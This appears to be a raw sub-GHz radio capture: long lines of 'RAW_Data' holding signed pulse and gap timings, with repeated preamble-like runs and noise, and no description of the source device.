-64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 258 -429 69 -548 89 -257 53 -514 65 -212 -RAW_Data: 67 -166 129 -106 214 -166 77 -567 81 -54 94 -229 106 -725 51 -64 61 -207 61 -434 97 -114 103 -215 107 -248 67 -52 107 -143 97 -136 110 -64 71 -170 51 -104 59 -240 67 -158 81 -408 77 -601 77 -169 61 -343 61 -612 151 -52 75 -201 69 -290 61 -132 87 -116 71 -354 85 -120 78 -60 89 -121 114 -80 127 -104 89 -563 51 -293 86 -246 1641 -56 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -64 63 -128 127 -64 61 -128 63 -62 63 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -62 127 -130 127 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 63 -62 61 -128 63 -64 127 -128 63 -62 61 -64 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 63 -62 63 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -64 63 -64 61 -128 129 -128 127 -118 135 -128 55 -62 133 -64 61 -128 63 -62 127 -128 127 -56 69 -62 63 -62 63 -64 63 -64 61 -128 129 -128 63 -62 61 -64 125 -130 127 -128 125 -56 69 -62 63 -62 63 -64 63 -128 63 -64 125 -128 129 -56 261 -107 87 -54 214 -202 59 -198 67 -68 110 -98 71 -54 65 -355 59 -66 53 -148 67 -116 72 -113 51 -311 83 -70 83 -52 51 -125 61 -333 89 -154 92 -637 53 -152 152 -404 74 -126 102 -473 53 -393 152 -62 61 -87 53 -327 75 -651 75 -500 91 -321 295 -386 63 -98 96 -477 55 -313 71 -204 67 -159 129 -70 109 -122 53 -88 67 -196 85 -118 59 -149 119 -458 145 -82 65 -153 134 -134 115 -345 114 -108 59 -969 223 -185 59 -398 69 -98 92 -426 53 -448 73 -323 53 -62 70 -695 143 -87 89 -593 115 -52 71 -125 61 -397 51 -134 73 -532 61 -131 51 -84 129 -280 51 -233 51 -56 63 -172 85 -533 89 -126 166 -543 105 -396 195 -220 -RAW_Data: 77 -78 99 -72 53 -54 123 -122 103 -54 88 -186 69 -78 73 -220 121 -509 51 -437 94 -66 51 -173 77 -275 129 -301 51 -226 70 -54 63 -485 61 -89 53 -62 61 -535 53 -348 71 -54 93 -66 71 -301 59 -52 73 -127 150 -78 59 -285 77 -52 73 -56 51 -170 73 -277 61 -108 109 -233 80 -1138 59 -457 79 -497 185 -108 144 -54 51 -239 127 -325 97 -78 61 -707 127 -300 59 -256 113 -367 51 -106 69 -99 79 -162 89 -262 178 -98 59 -108 53 -176 118 -90 71 -781 51 -68 67 -367 61 -80 53 -691 61 -170 149 -114 82 -165 133 -118 51 -149 79 -124 69 -60 69 -203 51 -213 55 -1101 94 -449 91 -192 67 -190 79 -106 71 -119 157 -168 127 -1227 71 -116 81 -225 71 -180 72 -187 71 -265 89 -278 51 -76 101 -142 94 -100 71 -70 86 -212 91 -235 100 -367 53 -174 51 -68 65 -201 55 -154 91 -161 61 -122 59 -193 75 -68 134 -76 53 -202 59 -155 82 -52 108 -321 127 -160 94 -662 59 -242 73 -386 53 -90 67 -198 69 -105 159 -90 61 -226 53 -136 59 -130 81 -519 182 -130 90 -460 83 -82 187 -363 143 -98 68 -196 75 -381 55 -54 106 -127 72 -201 59 -78 79 -98 237 -118 81 -144 87 -126 255 -72 125 -376 269 -354 95 -248 157 -266 51 -230 81 -112 67 -698 169 -416 191 -90 232 -284 77 -250 248 -150 97 -180 61 -154 67 -148 214 -64 79 -80 116 -318 55 -251 67 -126 142 -143 105 -97 77 -196 106 -181 51 -86 71 -138 95 -58 53 -144 148 -405 97 -163 97 -102 89 -86 95 -127 143 -52 81 -98 85 -241 195 -248 75 -68 133 -104 88 -163 145 -200 61 -288 73 -170 53 -201 75 -150 51 -234 98 -126 149 -290 141 -246 53 -100 111 -68 128 -60 83 -70 89 -363 79 -1330 99 -233 98 -218 96 -134 55 -192 124 -52 51 -95 67 -646 108 -308 79 -70 89 -100 73 -64 73 -193 71 -90 157 -143 57 -54 89 -103 89 -135 51 -74 110 -206 51 -298 59 -194 170 -89 69 -64 71 -543 53 -237 124 -321 81 -407 57 -180 67 -209 142 -420 77 -120 55 -76 65 -98 67 -146 71 -436 158 -153 97 -378 61 -318 110 -82 167 -356 51 -114 69 -114 71 -116 53 -496 59 -52 77 -182 69 -286 67 -328 107 -384 71 -397 53 -54 101 -490 133 -149 59 -110 67 -260 53 -115 61 -355 65 -293 66 -68 133 -342 186 -423 51 -52 51 -569 142 -691 203 -281 86 -291 88 -990 53 -62 96 -70 77 -283 136 -188 -RAW_Data: 124 -254 59 -52 51 -289 57 -379 91 -72 130 -234 208 -105 65 -134 52 -126 91 -162 71 -166 81 -373 59 -54 99 -166 70 -710 67 -277 89 -278 106 -139 118 -305 61 -174 67 -580 69 -96 55 -120 57 -182 89 -527 102 -78 51 -180 82 -246 97 -292 53 -361 251 -228 103 -332 51 -411 57 -254 59 -339 59 -211 95 -137 114 -410 155 -571 125 -464 101 -614 94 -600 69 -112 117 -254 700 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 209 -78 71 -308 59 -177 98 -170 79 -525 59 -116 207 -235 59 -384 67 -86 51 -508 61 -135 57 -377 75 -181 59 -489 59 -415 116 -84 133 -238 61 -265 69 -229 187 -224 71 -80 69 -223 95 -138 80 -142 53 -132 69 -100 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -128 127 -128 127 -128 127 -56 67 -126 127 -130 125 -128 55 -70 125 -64 63 -62 63 -62 63 -64 127 -64 61 -64 63 -62 127 -128 63 -64 61 -64 61 -64 127 -128 63 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -128 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 63 -62 63 -62 63 -64 63 -128 127 -128 127 -128 127 -118 63 -62 133 -64 61 -128 63 -64 125 -128 127 -56 69 -64 61 -64 61 -64 63 -64 63 -128 127 -128 63 -62 61 -64 127 -128 127 -128 127 -56 69 -126 63 -62 127 -128 63 -62 63 -62 63 -64 125 -66 281 -56 71 -88 238 -193 91 -265 75 -162 95 -352 103 -424 53 -93 95 -622 75 -800 115 -144 77 -148 51 -196 51 -197 53 -215 92 -191 114 -172 61 -224 71 -415 57 -419 119 -456 89 -527 67 -102 71 -92 59 -126 97 -145 220 -64 71 -868 93 -88 69 -319 89 -108 120 -81 87 -188 85 -78 53 -76 133 -151 59 -88 81 -873 61 -355 57 -234 98 -161 61 -76 79 -74 72 -300 109 -52 71 -259 162 -52 87 -315 51 -782 177 -78 127 -205 95 -117 81 -309 61 -170 57 -469 77 -233 89 -1184 57 -152 71 -432 53 -183 115 -64 59 -187 119 -70 65 -108 53 -221 150 -893 51 -452 51 -259 61 -54 73 -208 67 -411 63 -154 105 -157 81 -120 51 -851 51 -413 96 -266 81 -160 112 -125 53 -72 59 -72 53 -172 91 -80 77 -213 67 -223 67 -137 123 -108 73 -347 97 -195 71 -437 67 -52 69 -80 51 -78 155 -80 53 -1003 63 -134 87 -337 67 -163 53 -130 80 -90 97 -54 106 -129 75 -102 61 -108 112 -52 124 -558 117 -942 53 -232 63 -342 53 -178 89 -315 79 -162 51 -62 188 -80 69 -76 65 -244 199 -136 61 -544 89 -134 61 -124 75 -88 53 -90 71 -60 89 -140 118 -984 71 -274 53 -230 94 -286 67 -182 55 -381 81 -64 74 -102 102 -82 110 -380 151 -186 53 -217 61 -80 61 -204 -RAW_Data: 135 -133 76 -72 69 -231 109 -52 202 -358 169 -160 88 -153 79 -145 103 -76 137 -114 61 -142 123 -157 95 -223 71 -242 176 -203 181 -80 61 -196 53 -106 117 -76 151 -378 61 -340 244 -138 296 -197 135 -292 143 -90 150 -253 79 -178 133 -54 63 -220 99 -251 98 -108 53 -114 79 -171 69 -134 160 -286 53 -162 114 -118 76 -54 71 -80 81 -136 53 -149 71 -128 57 -76 87 -144 63 -78 101 -58 141 -80 71 -161 65 -351 115 -266 89 -56 83 -80 59 -157 67 -118 101 -97 115 -100 91 -112 97 -60 61 -132 67 -84 169 -68 57 -290 95 -217 141 -64 61 -100 75 -181 98 -115 97 -260 114 -119 79 -271 119 -62 79 -72 89 -148 59 -54 53 -432 71 -352 77 -456 79 -216 132 -233 51 -98 78 -226 61 -623 71 -296 117 -295 96 -395 59 -134 82 -540 89 -52 65 -242 59 -90 51 -316 117 -104 79 -80 53 -205 79 -519 59 -304 137 -495 90 -120 77 -326 69 -259 125 -394 73 -520 53 -269 99 -178 116 -122 69 -72 53 -214 123 -91 65 -146 61 -96 53 -378 79 -104 53 -266 105 -366 83 -432 69 -225 53 -549 147 -96 84 -82 86 -377 111 -223 59 -666 153 -104 53 -66 71 -58 78 -86 51 -116 63 -179 67 -458 71 -54 53 -183 79 -80 51 -660 59 -104 61 -95 83 -157 53 -510 53 -703 63 -482 71 -251 61 -167 94 -171 69 -70 53 -333 114 -442 73 -52 57 -54 93 -90 113 -82 89 -261 53 -72 79 -123 71 -88 71 -153 59 -188 80 -164 99 -455 53 -163 133 -293 120 -190 59 -97 59 -52 104 -216 71 -118 78 -684 51 -247 97 -232 134 -200 59 -448 150 -279 51 -223 67 -204 51 -242 77 -91 77 -320 53 -190 53 -120 133 -399 61 -54 53 -52 103 -132 79 -762 128 -70 109 -668 61 -183 86 -94 99 -86 79 -159 77 -159 51 -404 83 -130 67 -198 165 -179 67 -234 149 -62 95 -81 296 -307 117 -82 75 -90 97 -349 87 -213 147 -142 113 -214 59 -70 98 -108 63 -301 88 -64 195 -84 71 -101 149 -70 97 -119 165 -90 189 -98 274 -106 83 -81 152 -56 119 -133 359 -67 81 -80 59 -52 97 -82 94 -54 250 -64 150 -98 59 -54 71 -244 189 -233 129 -74 93 -238 406 -60 227 -78 88 -62 159 -60 61 -179 53 -259 81 -154 59 -106 120 -60 89 -54 137 -134 89 -92 130 -92 109 -96 90 -104 166 -138 306 -202 149 -279 257 -385 179 -96 67 -331 151 -74 92 -70 95 -88 53 -167 524 -224 88 -54 -RAW_Data: 305 -326 53 -98 61 -90 85 -121 75 -70 264 -68 69 -328 117 -105 53 -90 97 -105 94 -90 61 -107 149 -168 61 -194 120 -98 77 -52 130 -54 73 -54 57 -80 63 -205 67 -207 87 -169 101 -723 57 -525 53 -52 61 -107 51 -152 59 -52 161 -322 53 -143 71 -64 175 -315 81 -52 67 -127 51 -52 116 -204 133 -126 53 -62 123 -80 51 -170 67 -64 53 -230 231 -90 135 -528 53 -352 113 -64 81 -299 79 -82 53 -178 71 -164 63 -138 61 -72 53 -1393 51 -76 87 -303 59 -64 69 -195 53 -108 85 -325 89 -85 51 -255 59 -90 69 -252 337 -314 71 -257 63 -160 83 -115 63 -60 67 -434 51 -156 166 -284 71 -70 113 -275 51 -394 121 -60 61 -112 133 -466 63 -372 159 -58 53 -270 61 -149 212 -234 100 -116 79 -58 51 -692 97 -557 59 -517 91 -137 53 -72 93 -256 88 -76 71 -332 155 -178 61 -128 105 -127 72 -288 59 -318 267 -693 53 -131 81 -610 71 -88 143 -184 53 -115 80 -108 114 -64 59 -74 108 -178 88 -203 140 -780 93 -531 114 -170 53 -80 53 -212 97 -52 83 -185 104 -230 75 -149 77 -118 53 -52 95 -484 89 -183 53 -205 87 -95 73 -426 171 -202 59 -405 73 -237 119 -148 93 -72 71 -152 53 -100 69 -90 59 -1264 73 -783 106 -999 51 -100 61 -116 89 -449 167 -118 61 -319 51 -185 69 -60 77 -160 194 -237 105 -159 73 -83 945 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 -RAW_Data: 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 355 -172 96 -62 162 -456 111 -197 114 -162 75 -340 51 -163 69 -160 67 -382 53 -276 160 -52 53 -60 125 -240 107 -195 195 -367 105 -114 79 -268 61 -167 61 -128 63 -102 102 -298 114 -131 81 -128 132 -922 187 -769 185 -459 61 -365 103 -542 81 -408 96 -346 53 -54 107 -139 61 -90 96 -162 61 -451 61 -72 79 -605 91 -103 71 -353 99 -206 69 -188 51 -332 63 -417 59 -222 53 -498 71 -90 61 -82 61 -90 61 -72 114 -365 53 -114 124 -279 71 -258 132 -230 102 -306 87 -81 124 -80 237 -242 53 -148 125 -80 191 -394 88 -238 67 -236 59 -68 65 -225 82 -152 179 -579 79 -68 105 -167 165 -108 59 -104 53 -321 83 -476 83 -183 81 -285 61 -235 138 -201 95 -245 97 -62 51 -280 51 -313 63 -222 124 -1371 71 -72 57 -489 51 -333 67 -52 53 -270 163 -84 179 -126 110 -186 61 -178 85 -78 89 -229 140 -106 97 -318 139 -148 115 -119 243 -106 51 -296 51 -201 59 -330 53 -622 138 -142 114 -144 87 -538 77 -266 63 -114 59 -86 81 -221 164 -92 51 -257 61 -205 53 -100 61 -126 55 -582 162 -407 105 -590 61 -144 51 -76 57 -920 53 -76 61 -139 59 -373 1265 -54 71 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -56 71 -126 63 -62 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -64 61 -128 129 -64 61 -128 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 -RAW_Data: 127 -128 63 -62 127 -64 61 -128 127 -64 61 -128 127 -128 127 -128 53 -70 125 -64 63 -64 61 -64 61 -64 63 -128 129 -64 61 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 125 -130 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 63 -62 63 -62 63 -64 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -64 63 -62 63 -64 63 -64 61 -64 63 -128 63 -64 61 -64 61 -64 127 -130 63 -62 125 -128 127 -128 127 -128 55 -62 69 -62 127 -128 127 -128 55 -70 125 -64 63 -62 63 -128 127 -128 127 -56 69 -126 63 -62 63 -64 61 -64 127 -64 249 -115 175 -62 129 -346 161 -54 61 -106 79 -90 81 -78 69 -186 51 -224 71 -284 79 -607 59 -949 55 -588 125 -340 59 -120 71 -161 63 -367 71 -669 141 -170 95 -103 53 -136 81 -542 59 -116 63 -259 82 -689 79 -68 114 -419 103 -203 75 -52 207 -583 53 -609 131 -230 51 -255 124 -102 59 -127 67 -52 95 -371 81 -168 93 -418 112 -354 73 -168 115 -250 57 -108 107 -138 73 -1437 53 -52 239 -132 81 -142 53 -77 88 -108 160 -146 69 -343 108 -200 97 -172 77 -332 61 -152 84 -264 61 -240 105 -329 73 -328 91 -140 116 -197 51 -594 73 -180 121 -72 73 -114 67 -92 93 -327 53 -245 121 -230 104 -244 53 -60 53 -148 180 -664 112 -90 77 -82 78 -511 71 -293 89 -104 81 -168 100 -242 53 -82 71 -152 91 -134 51 -1003 61 -171 67 -346 71 -172 61 -72 96 -171 51 -60 59 -174 118 -129 63 -154 59 -308 132 -166 53 -92 104 -88 51 -146 115 -158 77 -338 67 -306 51 -158 97 -1073 118 -54 61 -246 171 -126 222 -126 143 -424 79 -184 174 -486 70 -62 131 -573 59 -451 51 -296 77 -154 53 -143 71 -104 69 -664 53 -78 69 -190 76 -293 53 -72 53 -62 160 -185 108 -739 99 -267 51 -78 74 -220 59 -639 55 -221 61 -72 108 -157 57 -100 65 -371 63 -80 167 -122 67 -102 77 -70 148 -268 93 -196 204 -88 61 -106 71 -54 53 -126 120 -90 63 -308 63 -108 57 -126 69 -90 57 -72 105 -218 63 -60 67 -253 105 -152 172 -139 304 -153 114 -305 99 -78 157 -198 51 -135 81 -359 105 -62 89 -58 93 -258 53 -52 100 -280 135 -222 89 -62 102 -102 59 -314 -RAW_Data: 199 -451 57 -98 97 -265 75 -56 61 -216 87 -150 53 -460 59 -433 63 -240 67 -156 73 -201 131 -213 57 -191 122 -207 83 -104 59 -282 111 -168 59 -298 103 -226 79 -219 65 -267 81 -369 61 -896 53 -240 113 -204 57 -330 69 -54 67 -134 65 -447 71 -62 81 -630 79 -54 71 -98 77 -674 67 -128 81 -457 51 -341 59 -180 55 -284 78 -54 120 -199 55 -98 83 -64 105 -111 51 -128 53 -233 69 -72 53 -257 81 -66 51 -122 65 -156 69 -223 107 -97 57 -255 186 -175 132 -108 116 -62 57 -241 65 -1319 97 -240 53 -196 129 -78 115 -310 67 -519 80 -105 1134 -54 71 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 61 -64 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 209 -80 111 -330 177 -1017 79 -133 113 -165 177 -748 87 -64 59 -276 -RAW_Data: 241 -411 69 -188 79 -549 51 -419 55 -255 81 -54 53 -673 73 -82 51 -168 65 -168 57 -64 53 -420 57 -154 209 -211 89 -187 71 -246 59 -651 59 -344 51 -150 121 -521 59 -233 79 -258 93 -87 112 -115 53 -166 96 -223 61 -544 107 -248 116 -739 51 -114 55 -325 125 -197 67 -82 75 -52 59 -174 51 -138 111 -178 61 -276 105 -831 107 -98 63 -151 70 -251 1059 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -128 127 -64 61 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 127 -130 63 -62 125 -64 63 -128 127 -64 61 -126 127 -128 127 -128 55 -70 125 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -128 65 -62 61 -64 61 -64 127 -128 65 -62 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -128 63 -64 63 -62 63 -64 63 -62 127 -130 63 -62 61 -64 127 -128 127 -128 127 -56 67 -126 63 -64 127 -64 61 -128 63 -64 61 -64 127 -64 61 -128 63 -62 63 -64 125 -66 61 -128 127 -64 61 -64 61 -64 63 -62 63 -128 63 -64 127 -128 127 -128 127 -126 127 -118 135 -56 69 -62 61 -64 63 -128 339 -60 124 -54 89 -384 88 -124 88 -127 67 -136 65 -82 81 -226 53 -198 79 -52 178 -487 122 -190 96 -139 92 -204 159 -648 53 -144 65 -212 53 -429 67 -68 51 -423 61 -114 116 -284 79 -82 57 -373 57 -298 89 -142 118 -424 104 -248 59 -214 71 -190 61 -208 53 -90 59 -342 96 -112 266 -88 57 -78 225 -140 71 -108 75 -209 246 -78 75 -230 51 -326 53 -392 203 -215 125 -532 127 -219 101 -1556 59 -562 89 -681 153 -660 61 -366 51 -270 57 -241 104 -80 61 -66 63 -94 453 -260 128 -318 101 -270 108 -264 96 -521 53 -930 77 -257 165 -291 51 -200 93 -404 77 -76 53 -68 91 -200 63 -133 -RAW_Data: 137 -285 156 -424 79 -72 89 -152 173 -215 161 -262 99 -82 89 -167 101 -97 53 -215 69 -54 105 -231 81 -219 59 -150 190 -148 75 -148 172 -190 51 -347 142 -195 61 -202 133 -139 200 -68 57 -72 53 -54 77 -121 206 -72 80 -90 95 -92 63 -96 233 -82 99 -196 229 -81 97 -117 154 -75 178 -62 173 -68 124 -62 61 -203 81 -60 119 -74 156 -56 94 -556 69 -742 117 -1036 121 -203 152 -89 100 -112 128 -96 119 -347 59 -548 63 -1275 59 -253 57 -244 146 -459 59 -580 63 -100 71 -97 61 -415 97 -154 61 -82 69 -357 124 -64 65 -1169 59 -98 124 -493 59 -351 65 -96 77 -138 135 -246 89 -214 166 -163 89 -283 102 -258 83 -163 55 -285 138 -161 150 -352 79 -126 96 -480 107 -217 85 -212 134 -130 85 -169 103 -62 90 -609 51 -362 109 -250 89 -54 53 -98 71 -90 88 -203 109 -372 79 -270 108 -116 69 -242 62 -250 53 -97 75 -190 78 -64 107 -211 67 -386 95 -80 63 -115 138 -138 131 -218 59 -72 65 -134 51 -343 124 -260 88 -176 89 -162 67 -178 112 -96 57 -134 59 -496 71 -507 83 -849 112 -859 81 -361 51 -314 65 -160 51 -136 75 -132 87 -124 53 -371 51 -228 71 -60 75 -469 53 -113 59 -197 106 -79 59 -321 63 -116 67 -310 67 -669 105 -548 119 -76 59 -214 131 -191 105 -106 87 -101 73 -68 148 -74 51 -238 67 -432 59 -279 59 -310 140 -176 69 -704 153 -68 53 -118 210 -375 51 -124 63 -460 53 -168 61 -355 95 -70 95 -1039 105 -291 75 -114 161 -82 134 -68 125 -84 113 -331 87 -329 69 -232 79 -136 277 -219 269 -124 84 -162 269 -138 59 -54 51 -165 55 -248 94 -108 53 -211 101 -90 78 -203 101 -238 144 -145 114 -54 61 -167 114 -108 67 -180 59 -52 322 -56 75 -68 143 -184 125 -119 96 -194 179 -94 81 -78 156 -98 271 -87 505 -124 71 -216 95 -883 248 -60 51 -327 172 -208 120 -110 71 -193 53 -193 51 -124 122 -141 79 -115 99 -94 111 -119 120 -74 259 -273 63 -162 88 -134 104 -108 103 -318 53 -90 125 -509 95 -193 91 -232 71 -82 77 -80 71 -266 160 -52 97 -226 53 -143 53 -181 132 -108 97 -362 95 -62 147 -377 67 -198 215 -211 94 -146 92 -239 106 -108 51 -216 169 -78 59 -475 71 -76 55 -200 90 -52 89 -218 96 -150 68 -66 104 -930 159 -172 160 -92 83 -232 143 -576 83 -195 142 -385 110 -114 78 -432 55 -194 59 -74 67 -60 89 -86 -RAW_Data: 51 -907 51 -216 51 -482 111 -80 71 -1942 78 -82 134 -509 81 -54 59 -167 51 -130 85 -507 118 -364 63 -78 81 -431 89 -100 88 -280 88 -87 144 -104 63 -126 61 -108 53 -447 83 -508 51 -176 75 -201 110 -128 73 -76 59 -209 59 -226 53 -283 67 -197 115 -284 59 -284 79 -230 87 -90 61 -120 182 -468 59 -221 53 -361 53 -136 67 -139 128 -52 59 -186 53 -230 61 -550 53 -82 89 -221 98 -313 53 -278 189 -604 59 -663 63 -207 67 -301 59 -552 75 -142 142 -330 51 -471 149 -355 77 -384 109 -420 69 -365 79 -233 69 -203 51 -570 73 -141 53 -305 53 -613 83 -258 75 -335 813 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 